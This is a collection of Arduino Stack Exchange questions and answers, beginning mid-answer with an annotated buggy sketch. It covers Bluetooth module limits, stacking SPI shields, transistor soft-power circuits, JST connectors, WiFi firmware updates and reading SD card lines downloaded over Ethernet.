int total=0;                        <--- not used in setup()
int wait=0;                         <--- dito
int buttonState = 0;                <--- dito
pinMode(buttonPin2, INPUT);
pinMode(buttonPin3, INPUT);
pinMode(buttonPin4, INPUT);
pinMode(buttonPin5, INPUT);
}
void loop() {
int wait=5000;
while(wait>1)                             <--- missing block { ??
  buttonState = digitalRead(buttonPin2);
  if(buttonState == HIGH){
    total=total+1                         <--- missing semi-colon ;
    wait=0                                <--- dito
  }else{
    int wait=wait-1                       <--- local declare not used
  }
int wait=5000                             <--- illegal redeclare + semicolon
int buttonState = 0;                      <--- illegal redeclare
while(wait>1)                             <--- missing block ;
  buttonState = digitalRead(buttonPin3);
  if(buttonState == HIGH){
     total=total+2                        <--- missing ;
    wait=0                                <--- and so on.
  }else{
    wait=wait-1
  }
int wait=5000
int buttonState = 0;
while(wait>1)
  buttonState = digitalRead(buttonPin4);
  if(buttonState == HIGH){
    total=total+4
    wait=0
  }else{
    wait=wait-1
  }
int wait=5000
int buttonState = 0;
while(wait>1)
  buttonState = digitalRead(buttonPin5);
  if(buttonState == HIGH){
    total=total+8
    wait=0
  }else{
    wait=wait-1
  }
int wait=5000
Serial.begin(9600)
while(0=0)
  Serial.println(total)
}

```

Start with something much simpler and learn to master the language. Cut-and-paste programming will not help achieve any goals you might have with this sketch. You are simply wasting your time \*\<:)#
> 3 votes

---
Tags: arduino-uno, c++
---


# Question
Title: How many bluetooth modules can be interfaced with Arduino UNO?
At most how many bluetooth modules(HC-05) can be interfaced to Arduino UNO?

# Answer
Two. One on the hardware UART (TX/RX pins with the `Serial` object). One on `SoftwareSerial` on any two pins you choose.

Any more than that and you will need more hardware UARTs.
> 1 votes

---
Tags: arduino-uno, bluetooth
---


# Question
Title: Can I design Arduino Mega 2560 circuit without adding ATMega 16?
I want to make Arduino Mega 2560 board. As the reference files are given on Arduino Site, I don't want to add USB communication on the board. So can I remove part of ATMega 16? Will it cause any kind of problem in working of board? And if It will fine to remove ATMega 16 part, How much part of schematic to be change?

# Answer
Yes, you can omit the ATmega16U2 and its accompanying parts. That is, the whole right block of schematic in this sheet.

The resulting board will work perfectly fine, it will simply no longer have a built-in programming interface, nor a built-in USB-serial interface. You will likely want to buy an FTDI cable and an AVR programmer, if you do not already have these.
> 1 votes

---
Tags: pcb-design
---


# Question
Title: Microcontroller software shutdown with transistor 2N4401
I am trying to understand why connecting, say, an Arduino digital pin 4 to a `2N4401` pin 2 as well as `5V` PSU to `2N4401` pin 1 and Arduino `VCC` to `2N4401` pin 3, won't keep power.

When shorting pin 1 and pin 3 on the `2N4401` the MCU is powered on and in-software pin 4 is set to `pinMode` `OUTPUT` and `HIGH`which should allow the `2N4401` to let power flow to the MCU for as long as power is available even when the short circuit between `2N4401` pin 1 and 3 is cut.

Instead what happens when the short between pin 1 and 3 is cut, the MCU is turned off instantly.

It's as if the transistor isn't reacting to the pin 4 MCU signal at all.

Could anyone explain why this is happening?

I'm sure I lack a lot of knowledge here and I want to know how I could utilize a `2N4401` to make a SW shutdown system.

Why `2N4401`? Why not a MOSFET? MOSFET's circuits that do SW shutdown are available, but no transistor base SW shutdown circuits are to be found anywhere, and the `2N4401` is all that I have right now.

**Update**

```
void setup(){
  pinMode(4, OUTPUT);
}

void loop(){
  digitalWrite(4, HIGH);

  delay(3000);

  digitalWrite(4, LOW);
}

```

# Answer
This is what you appear to be wanting... A manually operated contact (S1 in your "diagram") momentarily shorts out the NPN transistor and applies power to the Arduino. In that short time the contact is active, you want a transistor to by pass this switch and keep applying power to the Arduino so that should the contact go open circuit, power remains on the Arduino.

The main problem, assuming my guess about what you want is correct, is the use of an NPN transistor as an emitter follower; whatever voltage you apply to the base will be about 0.7 volts lower on the emitter so, when the contact opens, the emitter voltage drops to about 4.3 volts to keep the NPN turned on but, that in turn leads to a drop in base voltage and quite rapidly you end up with nothing on the emitter.

You need a PNP transistor that can be turned on much more effectively with an NPN pulling the PNP base towards ground. In other words you need two transistors to do what you want: -

This one is shown at 5.5 volts on the power rail but 5 volts will be fine. It is also shown using a p-channel MOSFET instead of a PNP because the MOSFET will act as a much better "short" when activated.

Here's one that shows a PNP transistor - ignore the 12 volts - it will work on 5 volts: -

The "lamp" is where you connect the Arduino (aka PIC in the circuit). You will be better off with a p-channel FET though but, just in case you decide to use the PNP version you might need to lower R3 to maybe 470 ohms to provide enough base current to pass sufficient collector current to power the Arduino.

You also need to have S1 wired across the "pass" transistor - at the moment you have it connected back on itself and therefore does absolutely nothing. Note that this has been fixed in the question now!
> 2 votes

# Answer
Your question is rather confusing, but some problems are evident just from looking at the schematic:

4. The schematic is crap. I have no idea what you're trying to say with the dotted line between the - terminal of the the battery and the processor GND pin.

The line going thru the middle of the transistor is apparently meant to be the connection to the base, but this is sloppy at best.

It took me a while to realize you have the positive power connection at bottom and the ground at top. Don't do that.

All these things make your schematic hard to read. Now that I've had to waste time deciphering the schematic, I'll be more brief once we get to talking about the circuit itself.
5. You say the transistor is a 2N4401, which is NPN, but you show a PNP. Huh? Which is it?
6. There is no base resistor. The E-B junction looks like a diode to the driving circuit. When the digital output tries to go low, it will be held one diode drop below power. That could damager the digital output or collapse the power supply.

## Update

You have edited the schematic to show a NPN, but now you have a chip trying to drive itself thru a emitter follower. The switch also does nothing at all since both its ends are already shorted together.
> 3 votes

---
Tags: transistor
---


# Question
Title: Controlling servo with IR led and photodiode
I have found myself a really nice scheme of a buzzer that is controled by the IR led and photodiode by I want to upgrade it so it can be used for controlling a servo. What I have in mind is that when there is no object the servo whould stand still and when object comes by it will go to 90 degrees, wait for 5 sec and go back to 0 position. I just want to know is that possible for an Arduino starter and where should I look for help. Thanks.

# Answer
> 0 votes
Yes that is possible.

Start by googling for the two halves of your project separately. Find a project, example or tutorial which controls a servo. Get it working. Understand it. Then find one which deals with a sensor similar to the one you want to use, get it working, understand it.

Then you'll have everything you need to get your project up and running.

# Answer
> 0 votes
The convenience of the Arduio development paradigm is that most common hardware projects have been abstracted by software libraries to simple software interfaces. This is the case for controlling common servos motors.

If you find it sufficient, use the Arduino servo library to control servo motors. There are only 6 method to understand and in most cases you only need 2 or 3 of them. This example appears to satisfy your requirements for a sweeping servo.

---
Tags: servo, ir
---


# Question
Title: Attempt stacking 'CAN-BUS' and 'USB Host' Shields on Mega 2560
I've run into a case of 'In theory it works, but in reality'....

I'm using the CAN-BUS Shield V1.2 from Seeed studio. Many things are written in broken english, so I'm starting to wonder if I can trust all of the information. http://wiki.seeed.cc/CAN-BUS\_Shield\_V1.2/

The USB Host Shield is a discontinued official Arduino model. https://www.arduino.cc/en/Main/ArduinoUSBHostShield

(I would link to the libraries, but I am unable to post more than 2 links)

CAN-BUS Pins:

```
AREF
ICSP (SCK, MISO, MOSI)
P9 - CS (SS)
P2 - INT
NC
IOREF
RST
3.3V
5V
Vin

```

USB Host Pins:

```
ICSP (SCK, MISO, MOSI)
P10 - SS
P7 - GPX
P8 - INT (actually RES?)
P9 - RES (actually INT?)

```

The only conflict I see is Pin 9 (CS on CAN, RES on USB). This is where it gets hazy... While the documentation on the bottom of the USBHost page implies that Pin 9 is RES, in the code Pin 9 is actually INT.

So, assuming Pin 9 is actually INT, I re-routed it to Pin 45 on on the Mega and changed it in the UsbCore.h file:

```
//typedef MAX3421e<P10, P9> MAX3421E; // old
typedef MAX3421e<P10, P45> MAX3421E; // new

```

Here is a snippet of the code I am running:

```
#include <PS3BT.h>
#include <usbhub.h>

#ifdef dobogusinclude
#include <spi4teensy3.h>
#include <SPI.h>
#endif

#include <Bounce2.h>
#include <Time.h>
#include <TimeLib.h>
#include <SPI.h>
#include "mcp_can.h"

const int SPI_CS_PIN = 9;

MCP_CAN CAN(SPI_CS_PIN); // Set CS pin

void setup()
{
    Serial.begin(115200);

    // THIS WORKS
    if (Usb.Init() == -1) {
        Serial.print(F("\r\nOSC did not start"));
    }
    Serial.print(F("\r\nPS3 Bluetooth Library Started"));

    // THIS FAILS
    while (CAN_OK != CAN.begin(CAN_500KBPS))
    {
        Serial.println("CAN BUS Shield init fail");
        Serial.println(" Init CAN BUS Shield again");
        delay(100);
    }
    Serial.println("CAN BUS Shield init ok!");
}

```

The CAN-BUS Fails to init until I physically remove the USB Host Shield.

If I remove the CAN-BUS code, The USB Host Shield functions normally.

If I remove the USB Host code, the CAN-BUS Shield still DOES NOT init.

I tried to sift through the CAN-BUS init code a little, and I can only assume it's failing to communicate via SPI. What am I missing here?

# Answer
I think that there is an hardware bug on the USB Master shield: IC3, the 3-state buffer which converts MISO to 5V, is always active... The enable pin of this 74LVC1G125 (pin 1) should be connected to the pin ss\_3V3. Then you can stack this shield with another one.
> 1 votes

---
Tags: arduino-mega, shields, usb, spi, can-bus
---


# Question
Title: Does Atmega-2560 support image processing capability?
As the title says **can I perform image processing on Atmega-2560?**
Basically I have to capture real time images and detect green or red color.
I have not thought of the frame rate but it is not that fast or slow.

# Answer
No. Your question really is: Can an 8-bit processor, running at 16 MHz, with 8 KB of RAM, do image processing at an acceptable rate? Unless you are talking about 10 pixels by 10 pixels, at a frame rate of 1 frame per second, then I doubt it.

You may want to ask the "real" question. See The X-Y Problem. There are sensors around that detect colours. If you are making a maze-following robot that needs to stop if it gets near to a red wall, that is a much more achievable objective.
> 3 votes

---
Tags: arduino-mega, signal-processing
---


# Question
Title: Can anybody advise what type of connector this is?
I recently purchased an LiPower shield from SparkFun.

I also bought a Lithium Polymer battery off eBay and it appears to have a JST male connector (i could be wrong)?

I expected it to slot right into the board however the fit is slightly too large. Can any advise me of the name of the connector for the board battery supply, or have I mistaken the battery output connector?

Please see pictures below, thanks!

# Answer
> 9 votes
The board uses a JST PH connector, with 2.0mm spacing. The battery has a JST XH connector, with 2.5mm spacing. You will need to replace the battery connector or put a XH socket on the board.

# Answer
> 3 votes
That is generically a "JST" connector. Named from the company that originally designed and made them. But I believe there are many "second-source" (and likely counterfeit) sources of similar or identical connectors.

They are avaiable in a variety of mechanical configurations (horizontal, vertical, PC board mount, wire-end, etc. etc.) And there are several variations with different pin sizes and pin-pitch (distance between the pins). They all look very similar, especially in photographs, but as you demonstrate, the different pitch families are NOT inter-connectable.

If you had bought the battery from SparkFun, it is quite likely that it would have the mating connector. But since there is no standardization here, you will end up dealing with these kinds of mismatches.

# Answer
> 0 votes
header on the board IS jst XHA connector,but wirinhg harness is XH,

---
Tags: pcb-design
---


# Question
Title: Adafruit feather M0 wifi firmware update
I just noticed that the firmware on the m0 wifi might need updating but says not to use the provided updater, how do you update the firmware so ?

Thanks

# Answer
> 1 votes
**USE AT YOUR OWN RISK** Here's what I did... (maybe some steps not necessary, but this worked for me)

1) First run the "CheckWifi101FirmwareVersion" found in the Arduino WiFi 101 library.

* NOTE: You need to add in the `WiFi.setPins(8,7,4,2);` after `void setup() {`
* If it's backlevel (before 19.4.4), then

2) Download the Adafruit WiFi101 Updater on github ( https://github.com/adafruit/WiFi101-FirmwareUpdater/archive/master.zip )

3) Install the "FirmwareUpdater" from the Arduino WiFi 101 Library

* Add in the recommended changes (even if it's the defaults)

```
#define WINC_CS 8
#define WINC_IRQ 7
#define WINC_RST 4
#define WINC_EN 2

```

and the usual `WiFi.setPins(8,7,4,2)` after void `setup() {`

4) Copy the firmware you wish to flash to same directory as "winc1500-uploader.exe"

5) Run the command:

> winc1500-uploader.exe --port \[YourComPort\] --firmware \[YourFirmwareFileName\].bin

So for example I did:

> winc1500-uploader.exe --port COM9 --firmware m2m\_aio\_2b0.bin

---
Tags: wifi, adafruit
---


# Question
Title: Issues with Stacking Ethernet shield and USB Host shield
I want to stack Ethernet shield and USB host together with my Arduino MEGA 2560. Each of these shields works fine separately. Is it necessary to contact bootloader pins with each shield and arduino board? I have connected and tried, but the problem exists.

only one shield works fine at once.(always the sheild that directly connect to the Arduino board). How do I resolve this problem ? I want to work all 2 shields at once.

these are the sheilds I have used.

1. Circuits At Home USB Host Shield v2.0
2. Ethernet Shield v5.0

Thank you

# Answer
> 0 votes
Both shields are SPI devices, and both shields seem to be hard-wired to use D10 as the chip select line.

In order for you to use both shields at once you will have to either modify one of them or connect the shield via jumper wires.

You will need to change the chip select connection on one of the shields from D10 to some other pin that is not currently used, and then modify your software (or the library) accordingly.

# Answer
> 0 votes
Also, I think that there is an hardware bug on the USB Master shield: IC3, the 3-state buffer which converts MISO to 5V, is always active... The enable pin of this 74LVC1G125 (pin 1) should be connected to the pin ss\_3V3. Then you can stack this shield with another one.

---
Tags: arduino-mega, shields, ethernet, usb
---


title: Code won't read the first line from SD

text:
# Question
Title: Code won't read the first line from SD
**The general idea**

I would like to target a link with certain parameters, which would trigger a force download of a txt file, to an SD card. Next, I'd like to loop through that file, and read one line at a time, doing something with each of the lines (storing in a variable, using it to send an SMS, etc). I'm using Arduino Uno + Ethernet shield.

**Serverside script (PHP)**

The serverscript does a DB query, and packs the results (first row/line in txt file - message text consisting of max 159 characters, all the other rows/lines - preformatted phone numbers, consisting of max 16 characters each) into a txt file. Newline and carriage returns for both the message and the phone numbers are added at the very end of, via

```
fwrite($txtFile,'+'.$cleanNum."\""."\r\n");

```

The plus sign and the escaped quote are there, because I'd like to have the numbers formatted like this

+389012345678"

because that prepares it for sending later on.

**The Code**

```
/*
 Circuit:
 Ethernet shield attached to pins 10, 11, 12, 13
 */

#include <SPI.h>
#include <Ethernet.h>
#include <EthernetClient.h>
#include <SD.h>

byte mac[] = {
  0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02
};
String msg ="";
String allTxt = "";
int counter = 0;
int testRead = 0;
int testmsg = 1;

char server[] = "myserver.dev";

IPAddress ip(192, 168, 1, 200);
EthernetClient client;

File file;

void setup() {
  pinMode(10, OUTPUT);
  digitalWrite(10, HIGH);

  Serial.begin(9600);
  while (!Serial) {}

  if (!SD.begin(4)) {
    return;
  }

  if (Ethernet.begin(mac) == 0) {
      Ethernet.begin(mac, ip);
  }
  delay(1000);

  if (client.connect(server, 80)) {
    client.println("GET /dl.php?param=pass HTTP/1.1");
    client.println("Host: myserver.dev");
    client.println("Connection: close");
    client.println();
  }

  if(SD.exists("numbers.txt"))
    SD.remove("numbers.txt");

  file = SD.open("numbers.txt", FILE_WRITE);

  if (!file)
    while (1);
}

String readLine() {
  String received = "";
  char ch;
  while(file.available()){
    ch = file.read();
    if(ch == '\n') {
      return String(received);
    } else {
      received+=ch;
    }
  }
  return "";
}

void loop() {
  if (client.available()) {
    char c = client.read();
    allTxt += c;
    if(c == (char)13) {
      counter++;
      if(counter > 13) {
        for(int i = 0; i < allTxt.length()-1; i++) {
          file.print(allTxt[i]);
        }
      }
      allTxt = "";
    }
  }

  if (!client.connected()) {
    client.stop();
    file.close();
    if(testRead < 1) {
      testRead++;
      file = SD.open("numbers.txt", FILE_READ);
      if(file) {
        Serial.println("File opened!");
        while(file.available()) {
          if(testmsg==1){
            msg += readLine();
            Serial.println(msg);
            testmsg++;
          } else {
            Serial.println(readLine());
          }
        }
      }
      file.close();
    }
    Serial.println("**********************************");
    Serial.println("end");
    while(true);
  }
}

```

**The Problem**

Whenever the first row in the downloaded txt file has more than 110 characters, the code does not read it (although it IS present in the file). Since it's not being read, it's not being stored in the String msg variable.

**Things tried**

Breaking the message into two variables (on the server, inside the PHP script), via

```
$msgOne = substr($msg,0,floor(strlen($msg)/2)-1);
$msgTwo = substr($msg,floor(strlen($msg)/2)-1);

```

and then writing them as individual rows / lines of text into the txt file. The Arduino code is modified to include this change, with

```
msg += readLine();
msg += readLine();

```

This however, fills the msg variable with just the first part of the message.

Redeclaring msg as a chararray, and replacing msg+=readLine() with

```
readLine().toCharArray(msg,159);

```

also gave no results.

I have also tried replacing readLine() with Serial.println(file.read()), and everything is printed to Serial, so I'm guessing that something's wrong with my readLine() function. Maybe it (or Arduino itself) can't handle 159 characters in the first row.

Any help is appreciated.

# Answer
> 0 votes
The problem was in a newline character (I still haven't discovered where does it come from or why). I have resolved it by changing this part

```
    while(file.available()) {
      if(testmsg==1){
        msg += readLine();
        Serial.println(msg);
        testmsg++;
      } else {
        Serial.println(readLine());
      }
    }

```

into this

```
    while(file.available()) {
       while(testRead<3) {
        char c = file.read();
        if(c != '\n') {
          msg += c;
        } else {
          testRead++;
        }
      }
      Serial.println(readLine());
      }
    }

```

---
Tags: arduino-uno, ethernet, sd-card
---